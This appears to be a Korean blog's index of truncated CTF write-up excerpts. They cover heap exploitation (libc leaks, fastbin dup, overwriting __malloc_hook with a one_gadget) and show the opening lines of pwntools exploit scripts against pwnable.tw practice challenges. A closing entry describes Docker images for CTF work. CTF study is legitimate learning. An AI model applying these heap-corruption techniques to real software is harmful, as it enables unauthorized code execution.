2019/11/29 - [CTF write-up/hackctf] - [hackctf] childheap 이 문제에서 풀었던 방식 그대로 사용하면 libc leak은 쉽게 된다. 그런데 이 heap_paradise는 할당할 수 있는 최대 갯수를 15개로 제한을 해놓았다. fastbin dfb를 이용하면 안되고, 기존에 있던 청크를 재사용하여 fastbin에 속한 청크의 fd를 직접바꾸어주는 식으로 하게 되면, 15개 할당에 딱맞게 익스를 할 수 있다.
정훈이형의 도움으로 문제를 풀게 되었다. 시험기간이여서 간단히 정리를 하자면 1. 청크내 가짜 청크를 만들고 아다리를 맞춘다. 2. free된 fastbin 크기의 청크에서 size필드를 수정하고 free를 함으로서 fd에 libc 주소를 적는다. 3. 적혀진 libc 주소 + 0.5바이트 브루트 포싱을 이용하여 stdout 구조체 근처에 할당& 수정(libc leak) 4. 3번에서 leak한 값을 바탕으로 __malloc_hook을 one_gadget으로 덮는다.
import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() #context.log_level = 'debug' if sys.argv[1].strip() == 'l': p = process('./spirited_away') elif sys.argv[1].strip() == 'r': p = remote('chall.pwnable.tw', 10204) e = ELF('./spirited_away') if sys.argv[1].strip() == 'l': l = e.libc elif sys.argv[1].strip() == 'r': l = ELF('./libc_32.so.6') def mov..
import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() context.log_level = 'debug' def malloc(size, Data): sleep(0.3) #p.recv() p.send('1') #p.sendafter('Your choice :', '1') sleep(0.3) #p.recv() p.send(str(size)) #p.sendafter('size', str(size)) sleep(0.3) #p.recv() p.send(str(Data)) #p.sendafter('Data:', str(Data)) def free(): sleep(0.3) p.send('2')..
sleep을 syscall로 바꾼 뒤 read의 반환 값을 이용해 execve를 실행시켜주면 된다. import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() #context.log_level = 'debug' if sys.argv[1].strip() == 'l': p = process('./unexploitable') elif sys.argv[1].strip() == 'r': p = remote('chall.pwnable.tw', 10403) e = ELF('./unexploitable') if sys.argv[1].strip() == 'l': l = e.libc elif sys.a..
이 문제에서는 uaf를 통해 libc leak을 하고 free를 할 때 배열을 초기화하지 않아서 2번 free가 가능하고 고로 fastbin dup과 one_gadget을 이용해서 풀면 되는 문제이다. from pwn import * #context.log_level = 'debug' def raisef(length, name, color): p.sendlineafter('Your choice :', '1') p.sendlineafter('Length of the name :', str(length)) p.sendafter('The name of flower :', str(name)) p.sendlineafter('The color of the flower :', str(color)) def visit(..
처음에 ida로 열게되면 함수 이름들이 sub~어쩌구로 되어있는데 메뉴를 이용해서 복구를 시키게 되면 main은 일케 된다. 먼저 setup함수를 보면 대부분의 문제들은 setvbuf를 통해 stdin과 stdout을 버퍼링을 하지 않도록 하게 두는데 왜냐하면 버퍼링을 사용하게 되면 heap영역에 할당을 받아서 버퍼링을 하기 때문에 방해요소가 될 수 있기 때문이다. 여기서 stdout만 버퍼링을 하는 것으로 보아 stdin을 이용해야 될 것이라고 추측할 수 있다. 다음은 input()함수로 입력을 받아서 숫자로 변환시켜준다. free부분인데 여기서 ptr에 있는것을 free하는데 ptr을 초기화하지 않는다. 그래서 취약점이 발생하게 된다. 여기가 중요한데 보통의 문제에서 give_up처럼 포기하는 메뉴가..
가상머신을 쓰게 되면 속도나 용량면에서 손실이 있기 때문에 도커를 활용하는 방법이 더 낫다고 판단하여 도커를 설치하게 되었다. 자세한 Dockerfile은 https://github.com/youngsouk/docker_ubuntu_16.04 https://github.com/youngsouk/docker_ubuntu_18.04 여기에 올려져있다. image파일은 docker pull young34844/ctf_ubuntu_16.04 docker pull young34844/ctf_ubuntu_18.04 이런식으로 해서 받을 수 있다. 기본적으로 pwntools, python, gef ,zsh 등등이 설치되어있다. 그리고 내가 좋아하는 쉘 프롬프트인 pure도 설치를 해놓았다. 추가로 alias pwn1..